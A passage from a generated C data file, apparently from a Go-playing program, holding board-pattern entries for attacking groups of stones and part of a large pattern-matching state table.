0x00200080, 0x00200000, 0x00200000, 0x00200000, 0x02200000, 0x00200008, 0x00200000} , 0x1000010,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat285,3,1.960000}, {owl_attackpat286,10,8, "A1602",-1,-2,1,1,2,3,0x2,0,-2, { 0xf0fcf000, 0xfcfc3000, 0x3fff3f00, 0x30fcfcfc, 0x30fcfcfc, 0xf0fcf000, 0xfcfc3000, 0x3fff3f00}, { 0x90248000, 0x88241000, 0x08601800, 0x10608800, 0x10248800, 0x80249000, 0x88601000, 0x18600800} , 0x1000010,55.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat286,3,1.000000}, {owl_attackpat287,10,8, "A1603",-1,-2,1,1,2,3,0x2,0,-2, { 0xf0fcf000, 0xfcfc3000, 0x3fff3f00, 0x30fcfcfc, 0x30fcfcfc, 0xf0fcf000, 0xfcfc3000, 0x3fff3f00}, { 0x90242000, 0x08a41000, 0x20601800, 0x10688000, 0x10a40800, 0x20249000, 0x80681000, 0x18602000} , 0x1000010,55.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat287,3,1.000000}, {owl_attackpat288,12,8, "A1604",0,-2,2,2,2,4,0x2,1,-1, { 0x00fcfffc, 0xf0f0f0c0, 0xfffc0000, 0x3f3f3f0f, 0xf0f0f0c0, 0xfffc0000, 0x3f3f3f0c, 0x00fcffff}, { 0x00a40920, 0x20209040, 0x81680000, 0x18222004, 0x90202040, 0x09a40000, 0x20221804, 0x00688120} , 0x1000010,55.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat288,3,1.000000}, {owl_attackpat289,12,8, "A1605",0,-2,2,2,2,4,0x2,1,-1, { 0x00fcfffc, 0xf0f0f0c0, 0xfffc0000, 0x3f3f3f0f, 0xf0f0f0c0, 0xfffc0000, 0x3f3f3f0c, 0x00fcffff}, { 0x00a40908, 0x20209040, 0x81680000, 0x1a202004, 0x90202040, 0x09a40000, 0x20201a04, 0x00688180} , 0x1000010,55.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat289,3,1.000000}, {owl_attackpat290,10,8, "A1606",-1,-2,1,1,2,3,0x2,0,-2, { 0xf0fcf000, 0xfcfc3000, 0x3fff3f00, 0x30fcfcfc, 0x30fcfcfc, 0xf0fcf000, 0xfcfc3000, 0x3fff3f00}, { 0x90248000, 0x88241000, 0x08601a00, 0x10608880, 0x10248808, 0x80249000, 0x88601000, 0x1a600800} , 0x1000010,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat290,3,1.000000}, {owl_attackpat291,10,8, "A1607",-1,-2,1,1,2,3,0x2,0,-2, { 0xf0fcf000, 0xfcfc3000, 0x3fff3f00, 0x30fcfcfc, 0x30fcfcfc, 0xf0fcf000, 0xfcfc3000, 0x3fff3f00}, { 0x90242000, 0x08a41000, 0x20601a00, 0x10688080, 0x10a40808, 0x20249000, 0x80681000, 0x1a602000} , 0x1000010,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat291,3,1.000000}, {owl_attackpat292,11,8, "A1608",-1,-2,1,1,2,3,0x2,0,-1, { 0xf0fcfc00, 0xfcfcf000, 0xffff3f00, 0x3cfcfcfc, 0xf0fcfcfc, 0xfcfcf000, 0xfcfc3c00, 0x3fffff00}, { 0x90248400, 0x88245000, 0x48601a00, 0x14608880, 0x50248808, 0x84249000, 0x88601400, 0x1a604800} , 0x1000010,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat293,14,8, "A1608b",0,-2,2,2,2,4,0x2,2,1, { 0x00fcffff, 0xf0f0f0c0, 0xfffd0000, 0x3f3f3f1f, 0xf0f0f0d0, 0xfffc0000, 0x3f3f3f0f, 0x00fdffff}, { 0x00a40921, 0x20209040, 0x80680000, 0x18222000, 0x90202000, 0x09a40000, 0x20221805, 0x00688020} , 0x1000010,50.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat294,13,8, "A1609",-1,-2,1,2,2,4,0x2,1,1, { 0xfcffff00, 0xfcfcfcf0, 0xfffffc00, 0xfcfcfc3c, 0xfcfcfcf0, 0xfffffc00, 0xfcfcfc3c, 0xfcffff00}, { 0x58228000, 0x84240820, 0x09219400, 0x80604814, 0x08248450, 0x80225800, 0x48608020, 0x94210900} , 0x1000010,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat295,14,8, "A1610",0,-2,2,2,2,4,0x2,2,1, { 0x00fcffff, 0xf0f0f0c0, 0xffff0000, 0x3f3f3f3f, 0xf0f0f0f0, 0xfffc0000, 0x3f3f3f0f, 0x00ffffff}, { 0x00a80180, 0x20202040, 0x02a90000, 0x20202218, 0x20202090, 0x01a80000, 0x22202004, 0x00a90208} , 0x1000000,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat295,3,0.970000}, {owl_attackpat296,17,8, "A1611",0,-2,2,3,2,5,0x2,2,0, { 0x00fdffff, 0xf0f0f0d0, 0xffff0000, 0x3f3f3f3f, 0xf0f0f0f0, 0xfffd0000, 0x3f3f3f1f, 0x00ffffff}, { 0x00a80200, 0x20202080, 0x02a90000, 0x20202018, 0x20202090, 0x02a80000, 0x20202008, 0x00a90200} , 0x1000000,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat296,3,1.600000}, {owl_attackpat297,10,8, "A1612",-1,-1,1,3,2,4,0x2,-1,0, { 0x3c3f3f00, 0x00fcfcf0, 0xf0f0f000, 0xfcfc0000, 0xfcfc0000, 0x3f3f3c00, 0x00fcfc3c, 0xf0f0f000}, { 0x08220800, 0x00208820, 0x80208000, 0x88200000, 0x88200000, 0x08220800, 0x00208820, 0x80208000} , 0x1000000,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat297,3,0.610000}, {owl_attackpat298,10,8, "A1613",-1,-1,1,2,2,3,0x2,1,1, { 0x3cfdff00, 0xf0fcfcd0, 0xfcfcf000, 0xfcfc3c00, 0xfcfcf000, 0xfffd3c00, 0x3cfcfc1c, 0xf0fcfc00}, { 0x28906200, 0x60980880, 0x2418a000, 0x80982400, 0x08986000, 0x62902800, 0x24988008, 0xa0182400} , 0x1000010,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {NULL, 0,0,NULL,0,0,0,0,0,0,0,0,0,{0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0},0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0,NULL,NULL,0,0.0} }; /* #include "dfa.h" */ static state_t state_owl_attackpat[17138] = { {0,{0,0,0,0}}, {0,{0,2,3328,0}}, {0,{3,2241,2429,3323}}, {0,{4,1476,1666,2230}}, {0,{5,1319,1382,1453}}, {0,{6,1138,1218,1279}}, {0,{7,886,920,1070}}, {0,{8,706,710,706}}, {0,{9,436,464,700}}, {0,{10,320,345,428}}, {0,{11,298,317,298}}, {0,{12,121,12,12}}, {0,{13,120,13,120}}, {0,{14,113,113,113}}, {0,{15,96,96,97}}, {0,{16,95,95,95}}, {0,{17,17,65,94}}, {0,{18,0,36,0}}, {0,{19,19,19,19}}, {0,{20,0,0,0}}, {0,{21,0,0,0}}, {0,{22,22,22,22}}, {0,{23,23,23,23}}, {0,{24,24,24,24}}, {0,{25,25,25,25}}, {0,{26,26,26,26}}, {0,{27,27,27,27}}, {0,{28,28,28,28}}, {0,{29,29,29,29}}, {0,{30,30,30,30}}, {0,{31,31,31,31}}, {0,{32,0,0,0}}, {0,{33,33,33,33}}, {0,{34,34,34,34}}, {0,{0,0,35,0}}, {1,{0,0,0,0}}, {0,{37,37,37,37}}, {0,{38,38,38,38}}, {0,{39,39,39,39}}, {0,{40,40,40,40}}, {0,{41,41,41,41}}, {0,{42,42,42,42}}, {0,{43,43,43,43}}, {0,{44,44,44,44}}, {0,{0,0,0,45}}, {0,{46,0,0,0}}, {0,{47,47,47,0}}, {0,{48,0,0,0}}, {0,{49,49,49,49}}, {0,{50,50,50,50}}, {0,{51,51,51,51}}, {0,{52,52,52,52}}, {0,{53,53,53,53}}, {0,{54,54,54,54}}, {0,{55,55,55,55}}, {0,{56,56,56,56}}, {0,{57,57,57,57}}, {0,{58,58,58,58}}, {0,{59,59,59,59}}, {0,{60,60,60,60}}, {0,{0,0,0,61}}, {0,{0,0,0,62}}, {0,{0,0,0,63}}, {0,{64,0,0,0}}, {2,{0,0,0,0}}, {0,{66,92,92,92}}, {0,{67,19,19,19}}, {0,{68,91,91,91}}, {0,{69,80,80,80}}, {0,{70,70,70,70}}, {0,{71,71,71,71}}, {0,{72,72,72,72}}, {0,{73,25,73,25}}, {0,{74,74,74,74}}, {0,{75,75,75,75}}, {0,{76,76,76,76}}, {0,{77,77,77,77}}, {0,{78,78,78,78}}, {0,{31,79,31,31}}, {3,{32,0,0,0}}, {0,{81,81,81,81}}, {0,{82,82,82,82}}, {0,{83,83,83,83}}, {0,{84,0,84,0}}, {0,{85,85,85,85}}, {0,{86,86,86,86}}, {0,{87,87,87,87}}, {0,{88,88,88,88}}, {0,{89,89,89,89}}, {0,{0,90,0,0}}, {4,{0,0,0,0}}, {0,{80,80,80,80}}, {0,{93,0,0,0}}, {0,{91,91,91,91}}, {0,{18,0,0,0}}, {0,{94,94,65,94}}, {0,{95,95,95,95}}, {0,{98,95,95,95}}, {0,{99,94,65,94}}, {0,{18,0,100,0}}, {0,{101,101,101,101}}, {0,{102,102,102,102}}, {0,{103,103,103,103}}, {0,{104,104,104,104}}, {0,{105,105,105,105}}, {0,{106,106,106,106}}, {0,{107,107,107,107}}, {0,{108,108,108,108}}, {0,{0,0,0,109}}, {0,{0,0,0,110}}, {0,{0,0,0,111}}, {0,{112,0,0,0}}, {5,{0,0,0,0}}, {0,{114,117,117,118}}, {0,{115,116,116,116}}, {0,{17,17,94,94}}, {0,{94,94,94,94}}, {0,{116,116,116,116}}, {0,{119,116,116,116}}, {0,{99,94,94,94}}, {0,{113,113,113,113}}, {0,{122,120,210,120}}, {0,{14,123,113,113}}, {0,{124,193,193,194}}, {0,{125,192,192,116}}, {0,{126,126,191,94}}, {0,{127,166,168,0}}, {0,{128,19,19,19}}, {0,{129,165,165,165}}, {0,{130,154,154,0}}, {0,{131,22,22,22}}, {0,{132,132,132,132}}, {0,{24,24,133,24}}, {0,{134,134,134,25}}, {0,{135,135,135,135}}, {0,{136,136,136,136}}, {0,{137,137,137,137}}, {0,{138,138,138,138}}, {0,{139,139,139,30}}, {0,{140,140,140,31}}, {0,{141,151,151,151}}, {0,{142,142,142,142}}, {0,{143,143,143,143}}, {0,{144,144,150,144}}, {0,{145,145,145,0}}, {0,{146,146,146,146}}, {0,{147,147,147,147}}, {0,{148,148,148,148}}, {0,{149,0,149,0}}, {6,{0,0,0,0}}, {7,{145,145,145,0}}, {0,{152,152,152,152}}, {0,{153,153,153,153}}, {0,{144,144,144,144}}, {0,{155,0,0,0}}, {0,{156,156,156,156}}, {0,{0,0,157,0}}, {0,{158,158,158,0}}, {0,{159,159,159,159}}, {0,{160,160,160,160}}, {0,{161,161,161,161}}, {0,{162,162,162,162}}, {0,{163,163,163,0}}, {0,{164,164,164,0}}, {0,{151,151,151,151}}, {0,{154,154,154,0}}, {0,{167,0,0,0}}, {0,{165,165,165,165}}, {0,{169,37,37,37}}, {0,{170,170,170,170}}, {0,{171,171,171,39}}, {0,{172,40,40,40}}, {0,{173,173,173,173}}, {0,{42,42,174,42}}, {0,{175,175,175,43}}, {0,{176,176,176,176}}, {0,{160,160,160,177}}, {0,{178,161,161,161}}, {0,{179,179,179,162}}, {0,{180,163,163,0}}, {0,{181,181,181,49}}, {0,{182,182,182,182}}, {0,{183,183,183,183}}, {0,{184,184,184,184}}, {0,{185,185,185,185}}, {0,{186,186,186,54}}, {0,{187,187,187,187}}, {0,{188,188,188,188}}, {0,{189,189,189,189}}, {0,{190,58,190,58}}, {8,{59,59,59,59}}, {0,{127,166,166,0}}, {0,{191,191,191,94}}, {0,{192,192,192,116}}, {0,{195,192,192,116}}, {0,{196,191,191,94}}, {0,{127,166,197,0}}, {0,{198,101,101,101}}, {0,{199,199,199,199}}, {0,{200,200,200,103}}, {0,{201,104,104,104}}, {0,{202,202,202,202}}, {0,{106,106,203,106}}, {0,{204,204,204,107}}, {0,{205,205,205,205}}, {0,{160,160,160,206}}, {0,{161,161,161,207}}, {0,{162,162,162,208}}, {0,{209,163,163,0}}, {9,{164,164,164,0}}, {0,{14,211,113,113}}, {0,{212,281,281,282}}, {0,{213,280,280,116}}, {0,{214,214,279,94}}, {0,{215,254,256,0}}, {0,{216,19,19,19}}, {0,{217,253,253,253}}, {0,{218,242,242,0}}, {0,{219,22,22,22}}, {0,{220,220,220,220}}, {0,{221,24,221,24}}, {0,{222,222,222,25}}, {0,{223,223,223,223}}, {0,{224,224,224,224}}, {0,{225,225,225,225}}, {0,{226,226,226,226}}, {0,{227,227,227,30}}, {0,{228,228,228,31}}, {0,{229,239,239,239}}, {0,{230,230,230,230}}, {0,{231,231,231,231}}, {0,{232,232,238,232}}, {0,{233,233,233,0}}, {0,{234,234,234,234}}, {0,{235,235,235,235}}, {0,{236,236,236,236}}, {0,{237,0,237,0}}, {10,{0,0,0,0}}, {11,{233,233,233,0}}, {0,{240,240,240,240}}, {0,{241,241,241,241}}, {0,{232,232,232,232}}, {0,{243,0,0,0}}, {0,{244,244,244,244}}, {0,{245,0,245,0}}, {0,{246,246,246,0}}, {0,{247,247,247,247}}, {0,{248,248,248,248}}, {0,{249,249,249,249}}, {0,{250,250,250,250}}, {0,{251,251,251,0}}, {0,{252,252,252,0}}, {0,{239,239,239,239}}, {0,{242,242,242,0}}, {0,{255,0,0,0}}, {0,{253,253,253,253}}, {0,{257,37,37,37}}, {0,{258,258,258,258}}, {0,{259,259,259,39}}, {0,{260,40,40,40}}, {0,{261,261,261,261}}, {0,{262,42,262,42}}, {0,{263,263,263,43}}, {0,{264,264,264,264}}, {0,{248,248,248,265}}, {0,{266,249,249,249}}, {0,{267,267,267,250}}, {0,{268,251,251,0}}, {0,{269,269,269,49}}, {0,{270,270,270,270}}, {0,{271,271,271,271}}, {0,{272,272,272,272}}, {0,{273,273,273,273}}, {0,{274,274,274,54}}, {0,{275,275,275,275}}, {0,{276,276,276,276}}, {0,{277,277,277,277}}, {0,{278,58,278,58}}, {12,{59,59,59,59}}, {0,{215,254,254,0}}, {0,{279,279,279,94}}, {0,{280,280,280,116}}, {0,{283,280,280,116}}, {0,{284,279,279,94}}, {0,{215,254,285,0}}, {0,{286,101,101,101}}, {0,{287,287,287,287}}, {0,{288,288,288,103}}, {0,{289,104,104,104}}, {0,{290,290,290,290}}, {0,{291,106,291,106}}, {0,{292,292,292,107}}, {0,{293,293,293,293}}, {0,{248,248,248,294}}, {0,{249,249,249,295}}, {0,{250,250,250,296}}, {0,{297,251,251,0}}, {13,{252,252,252,0}}, {0,{299,299,299,299}}, {0,{300,316,300,316}}, {0,{301,311,311,311}}, {0,{302,307,307,308}}, {0,{303,306,306,306}}, {0,{304,304,305,0}}, {0,{0,0,36,0}}, {0,{92,92,92,92}}, {0,{0,0,305,0}}, {0,{306,306,306,306}}, {0,{309,306,306,306}}, {0,{310,0,305,0}}, {0,{0,0,100,0}}, {0,{312,0,0,314}}, {0,{313,0,0,0}}, {0,{304,304,0,0}}, {0,{315,0,0,0}}, {0,{310,0,0,0}}, {0,{311,311,311,311}}, {0,{318,318,318,318}}, {0,{300,316,319,316}}, {14,{301,311,311,311}}, {0,{321,298,317,298}}, {0,{299,322,299,299}}, {0,{323,316,334,316}}, {0,{301,324,311,311}}, {0,{325,330,330,331}}, {0,{326,329,329,0}}, {0,{327,327,328,0}}, {0,{166,166,168,0}}, {0,{166,166,166,0}}, {0,{328,328,328,0}}, {0,{329,329,329,0}}, {0,{332,329,329,0}}, {0,{333,328,328,0}}, {0,{166,166,197,0}}, {0,{301,335,311,311}}, {0,{336,341,341,342}}, {0,{337,340,340,0}}, {0,{338,338,339,0}}, {0,{254,254,256,0}}, {0,{254,254,254,0}}, {0,{339,339,339,0}}, {0,{340,340,340,0}}, {0,{343,340,340,0}}, {0,{344,339,339,0}}, {0,{254,254,285,0}}, {0,{346,424,425,424}}, {0,{347,385,347,347}}, {0,{348,384,348,384}}, {0,{349,381,381,381}}, {0,{302,307,307,350}}, {0,{351,306,306,306}}, {0,{352,366,367,366}}, {0,{353,0,100,0}}, {0,{354,354,354,354}}, {0,{355,355,355,355}}, {0,{356,356,356,356}}, {0,{357,357,357,357}}, {0,{358,358,358,358}}, {0,{359,359,359,359}}, {0,{360,360,360,360}}, {0,{361,361,361,361}}, {0,{0,0,0,362}}, {0,{0,0,0,363}}, {0,{0,0,0,364}}, {0,{365,0,0,0}}, {16,{0,0,0,0}}, {0,{353,0,0,0}}, {0,{368,92,92,92}}, {0,{369,354,354,354}}, {0,{370,370,370,370}}, {0,{371,371,371,371}}, {0,{372,372,372,372}}, {0,{373,373,373,373}}, {0,{374,374,374,374}}, {0,{375,360,375,360}}, {0,{376,376,376,376}}, {0,{86,86,86,377}}, {0,{87,87,87,378}}, {0,{88,88,88,379}}, {0,{380,89,89,89}}, {18,{0,90,0,0}}, {0,{312,0,0,382}}, {0,{383,0,0,0}}, {0,{352,366,366,366}}, {0,{381,381,381,381}}, {0,{386,384,405,384}}, {0,{349,387,381,381}}, {0,{325,330,330,388}}, {0,{389,329,329,0}}, {0,{390,404,404,366}}, {0,{391,166,197,0}}, {0,{392,354,354,354}}, {0,{393,393,393,393}}, {0,{394,394,394,356}}, {0,{395,357,357,357}}, {0,{396,396,396,396}}, {0,{359,359,397,359}}, {0,{398,398,398,360}}, {0,{399,399,399,399}}, {0,{160,160,160,400}}, {0,{161,161,161,401}}, {0,{162,162,162,402}}, {0,{403,163,163,0}}, {20,{164,164,164,0}}, {0,{391,166,166,0}}, {0,{349,406,381,381}}, {0,{336,341,341,407}}, {0,{408,340,340,0}}, {0,{409,423,423,366}}, {0,{410,254,285,0}}, {0,{411,354,354,354}}, {0,{412,412,412,412}}, {0,{413,413,413,356}}, {0,{414,357,357,357}}, {0,{415,415,415,415}}, {0,{416,359,416,359}}, {0,{417,417,417,360}}, {0,{418,418,418,418}}, {0,{248,248,248,419}}, {0,{249,249,249,420}}, {0,{250,250,250,421}}, {0,{422,251,251,0}}, {22,{252,252,252,0}}, {0,{410,254,254,0}}, {0,{347,347,347,347}}, {0,{426,426,426,426}}, {0,{348,384,427,384}}, {23,{349,381,381,381}}, {0,{429,429,433,429}}, {0,{430,430,430,430}}, {0,{431,0,431,0}}, {0,{432,0,0,0}}, {0,{307,307,307,307}}, {0,{434,434,434,434}}, {0,{431,0,435,0}}, {24,{432,0,0,0}}, {0,{437,449,450,460}}, {0,{438,442,446,442}}, {0,{439,439,439,439}}, {0,{440,440,440,440}}, {0,{441,441,441,441}}, {0,{114,117,117,117}}, {0,{443,443,443,443}}, {0,{444,444,444,444}}, {0,{445,445,445,445}}, {0,{312,0,0,0}}, {0,{447,447,447,447}}, {0,{444,444,448,444}}, {25,{445,445,445,445}}, {0,{442,442,446,442}}, {0,{451,451,457,451}}, {0,{452,452,452,452}}, {0,{453,453,453,453}}, {0,{454,454,454,454}}, {0,{312,0,0,455}}, {0,{456,0,0,0}}, {0,{366,366,366,366}}, {0,{458,458,458,458}}, {0,{453,453,459,453}}, {26,{454,454,454,454}}, {0,{0,0,461,0}}, {0,{462,462,462,462}}, {0,{0,0,463,0}}, {27,{0,0,0,0}}, {0,{465,639,640,639}}, {0,{466,623,636,623}}, {0,{467,555,556,555}}, {0,{468,554,554,554}}, {0,{469,553,553,553}}, {0,{470,470,470,470}}, {0,{471,471,471,471}}, {0,{472,472,472,472}}, {0,{473,550,550,550}}, {0,{474,512,19,19}}, {0,{475,511,511,511}}, {0,{476,500,500,500}}, {0,{477,477,477,477}}, {0,{478,478,478,478}}, {0,{479,24,479,24}}, {0,{480,25,25,25}}, {0,{481,481,481,481}}, {0,{482,482,482,482}}, {0,{483,483,483,483}}, {0,{484,484,484,484}}, {0,{485,485,485,485}}, {0,{486,486,486,486}}, {0,{487,497,497,497}}, {0,{488,488,488,488}}, {0,{489,489,489,489}}, {0,{490,490,496,490}}, {0,{491,491,491,491}}, {0,{492,492,492,492}}, {0,{493,493,493,493}}, {0,{494,494,494,494}}, {0,{495,0,495,0}}, {28,{0,0,0,0}}, {29,{491,491,491,491}}, {0,{498,498,498,498}}, {0,{499,499,499,499}}, {0,{490,490,490,490}}, {0,{501,501,501,501}}, {0,{502,502,502,502}}, {0,{503,0,503,0}}, {0,{504,0,0,0}}, {0,{505,505,505,505}}, {0,{506,506,506,506}}, {0,{507,507,507,507}}, {0,{508,508,508,508}}, {0,{509,509,509,509}}, {0,{510,510,510,510}}, {0,{497,497,497,497}}, {0,{500,500,500,500}}, {0,{513,549,549,549}}, {0,{514,538,538,538}}, {0,{515,515,515,515}}, {0,{516,516,516,516}}, {0,{517,24,517,24}}, {0,{518,25,25,25}}, {0,{519,519,519,519}}, {0,{520,520,520,520}}, {0,{521,521,521,521}}, {0,{522,522,522,522}}, {0,{523,523,523,523}}, {0,{524,524,524,524}}, {0,{525,535,535,535}}, {0,{526,526,526,526}}, {0,{527,527,527,527}}, {0,{528,528,534,528}}, {0,{529,529,529,529}}, {0,{530,530,530,530}}, {0,{531,531,531,531}}, {0,{532,532,532,532}}, {0,{533,0,533,0}}, {30,{0,0,0,0}}, {31,{529,529,529,529}}, {0,{536,536,536,536}}, {0,{537,537,537,537}}, {0,{528,528,528,528}}, {0,{539,539,539,539}}, {0,{540,540,540,540}}, {0,{541,0,541,0}}, {0,{542,0,0,0}}, {0,{543,543,543,543}}, {0,{544,544,544,544}}, {0,{545,545,545,545}}, {0,{546,546,546,546}}, {0,{547,547,547,547}}, {0,{548,548,548,548}}, {0,{535,535,535,535}}, {0,{538,538,538,538}}, {0,{551,552,0,0}}, {0,{511,511,511,511}}, {0,{549,549,549,549}}, {0,{117,117,117,117}}, {0,{553,553,553,553}}, {0,{554,554,554,554}}, {0,{557,554,554,554}}, {0,{558,553,553,553}}, {0,{559,559,559,559}}, {0,{560,560,560,560}}, {0,{561,561,561,561}}, {0,{562,621,621,621}}, {0,{563,512,19,19}}, {0,{564,620,620,620}}, {0,{565,609,609,609}}, {0,{566,566,566,566}}, {0,{567,567,567,567}}, {0,{568,24,568,24}}, {0,{569,25,25,25}}, {0,{570,481,481,481}}, {0,{571,571,571,571}}, {0,{572,572,572,572}}, {0,{573,573,573,573}}, {0,{574,574,574,574}}, {0,{575,575,575,575}}, {0,{576,606,606,606}}, {0,{577,488,488,488}}, {0,{578,578,578,578}}, {0,{579,579,605,579}}, {0,{580,580,580,580}}, {0,{581,581,581,581}}, {0,{582,582,582,582}}, {0,{583,583,583,583}}, {0,{584,0,495,0}}, {32,{585,0,0,0}}, {0,{0,0,0,586}}, {0,{587,587,587,587}}, {0,{588,588,588,588}}, {0,{589,589,589,589}}, {0,{590,590,590,590}}, {0,{591,591,591,591}}, {0,{592,592,592,592}}, {0,{593,593,593,593}}, {0,{594,594,594,594}}, {0,{0,0,0,595}}, {0,{596,596,596,596}}, {0,{597,597,597,597}}, {0,{598,598,598,598}}, {0,{599,599,599,599}}, {0,{600,600,600,600}}, {0,{601,601,601,601}}, {0,{602,602,602,602}}, {0,{603,603,603,603}}, {0,{604,0,0,0}}, {33,{0,0,0,0}}, {34,{580,580,580,580}}, {0,{607,498,498,498}}, {0,{608,608,608,608}}, {0,{579,579,579,579}}, {0,{610,610,610,610}}, {0,{611,611,611,611}}, {0,{612,0,612,0}}, {0,{613,0,0,0}}, {0,{614,505,505,505}}, {0,{615,615,615,615}}, {0,{616,616,616,616}}, {0,{617,617,617,617}}, {0,{618,618,618,618}}, {0,{619,619,619,619}}, {0,{606,606,606,606}}, {0,{609,609,609,609}}, {0,{622,552,0,0}}, {0,{620,620,620,620}}, {0,{624,0,630,0}}, {0,{625,0,0,0}}, {0,{626,0,0,0}}, {0,{627,627,627,627}}, {0,{628,628,628,628}}, {0,{629,629,629,629}}, {0,{550,550,550,550}}, {0,{631,0,0,0}}, {0,{632,0,0,0}}, {0,{633,633,633,633}}, {0,{634,634,634,634}}, {0,{635,635,635,635}}, {0,{621,621,621,621}}, {0,{637,462,638,462}}, {0,{625,0,463,0}}, {0,{631,0,463,0}}, {0,{623,623,636,623}}, {0,{641,641,695,641}}, {0,{642,675,676,675}}, {0,{643,674,674,674}}, {0,{644,673,673,673}}, {0,{627,627,627,645}}, {0,{646,628,628,628}}, {0,{647,647,647,647}}, {0,{648,550,550,550}}, {0,{649,661,354,354}}, {0,{650,650,650,650}}, {0,{651,651,651,651}}, {0,{652,652,652,652}}, {0,{653,653,653,653}}, {0,{654,359,654,359}}, {0,{655,360,360,360}}, {0,{656,656,656,656}}, {0,{506,506,506,657}}, {0,{507,507,507,658}}, {0,{508,508,508,659}}, {0,{660,509,509,509}}, {36,{510,510,510,510}}, {0,{662,662,662,662}}, {0,{663,663,663,663}}, {0,{664,664,664,664}}, {0,{665,665,665,665}}, {0,{666,359,666,359}}, {0,{667,360,360,360}}, {0,{668,668,668,668}}, {0,{544,544,544,669}}, {0,{545,545,545,670}}, {0,{546,546,546,671}}, {0,{672,547,547,547}}, {38,{548,548,548,548}}, {0,{0,0,0,455}}, {0,{673,673,673,673}}, {0,{674,674,674,674}}, {0,{677,674,674,674}}, {0,{678,673,673,673}}, {0,{633,633,633,679}}, {0,{680,634,634,634}}, {0,{681,681,681,681}}, {0,{682,621,621,621}}, {0,{683,661,354,354}}, {0,{684,684,684,684}}, {0,{685,685,685,685}}, {0,{686,686,686,686}}, {0,{687,687,687,687}}, {0,{688,359,688,359}}, {0,{689,360,360,360}}, {0,{690,656,656,656}}, {0,{615,615,615,691}}, {0,{616,616,616,692}}, {0,{617,617,617,693}}, {0,{694,618,618,618}}, {40,{619,619,619,619}}, {0,{696,698,699,698}}, {0,{643,674,697,674}}, {41,{673,673,673,673}}, {0,{674,674,697,674}}, {0,{677,674,697,674}}, {0,{701,460,703,460}}, {0,{702,0,461,0}}, {0,{555,555,555,555}}, {0,{704,704,705,704}}, {0,{675,675,675,675}}, {0,{698,698,698,698}}, {0,{707,708,709,708}}, {0,{428,428,428,428}}, {0,{460,460,460,460}}, {0,{639,639,639,639}}, {0,{711,852,857,852}}, {0,{712,781,712,428}}, {0,{713,777,778,777}}, {0,{714,738,714,714}}, {0,{715,737,715,737}}, {0,{716,734,734,0}}, {0,{307,307,307,717}}, {0,{718,306,306,306}}, {0,{719,0,305,0}}, {0,{720,720,720,0}}, {0,{721,0,0,0}}, {0,{722,722,722,722}}, {0,{723,723,723,723}}, {0,{724,724,724,724}}, {0,{725,725,725,725}}, {0,{726,726,726,726}}, {0,{727,727,727,727}}, {0,{728,728,728,728}}, {0,{0,0,0,729}}, {0,{0,0,0,730}}, {0,{0,0,0,731}}, {0,{732,0,0,0}}, {0,{733,0,0,0}}, {42,{0,0,0,0}}, {0,{0,0,0,735}}, {0,{736,0,0,0}}, {0,{719,0,0,0}}, {0,{734,734,734,0}}, {0,{739,737,758,737}}, {0,{716,740,734,0}}, {0,{330,330,330,741}}, {0,{742,329,329,0}}, {0,{743,328,328,0}}, {0,{744,744,744,0}}, {0,{745,0,0,0}}, {0,{746,746,746,746}}, {0,{747,747,747,723}}, {0,{748,724,724,724}}, {0,{749,749,749,749}}, {0,{726,726,750,726}}, {0,{751,751,751,727}}, {0,{752,752,752,752}}, {0,{160,160,160,753}}, {0,{161,161,161,754}}, {0,{162,162,162,755}}, {0,{756,163,163,0}}, {0,{757,164,164,0}}, {43,{151,151,151,151}}, {0,{716,759,734,0}}, {0,{341,341,341,760}}, {0,{761,340,340,0}}, {0,{762,339,339,0}}, {0,{763,763,763,0}}, {0,{764,0,0,0}}, {0,{765,765,765,765}}, {0,{766,766,766,723}}, {0,{767,724,724,724}}, {0,{768,768,768,768}}, {0,{769,726,769,726}}, {0,{770,770,770,727}}, {0,{771,771,771,771}}, {0,{248,248,248,772}}, {0,{249,249,249,773}}, {0,{250,250,250,774}}, {0,{775,251,251,0}}, {0,{776,252,252,0}}, {44,{239,239,239,239}}, {0,{714,714,714,714}}, {0,{779,779,779,779}}, {0,{715,737,780,737}}, {45,{716,734,734,0}}, {0,{782,777,778,777}}, {0,{783,815,783,783}}, {0,{784,814,784,814}}, {0,{785,808,808,813}}, {0,{786,786,786,800}}, {0,{787,787,787,787}}, {0,{788,788,794,788}}, {0,{789,789,789,0}}, {0,{790,790,790,790}}, {0,{791,791,791,791}}, {0,{792,0,793,0}}, {47,{0,0,0,0}}, {48,{0,0,0,0}}, {0,{795,795,795,92}}, {0,{796,790,790,790}}, {0,{797,797,797,797}}, {0,{798,80,799,80}}, {50,{81,81,81,81}}, {51,{81,81,81,81}}, {0,{801,787,787,787}}, {0,{802,788,794,788}}, {0,{803,803,803,0}}, {0,{804,790,790,790}}, {0,{805,805,805,805}}, {0,{806,723,807,723}}, {53,{724,724,724,724}}, {54,{724,724,724,724}}, {0,{809,809,809,811}}, {0,{810,810,810,810}}, {0,{788,788,788,788}}, {0,{812,810,810,810}}, {0,{802,788,788,788}}, {0,{809,809,809,809}}, {0,{808,808,808,813}}, {0,{816,814,834,814}}, 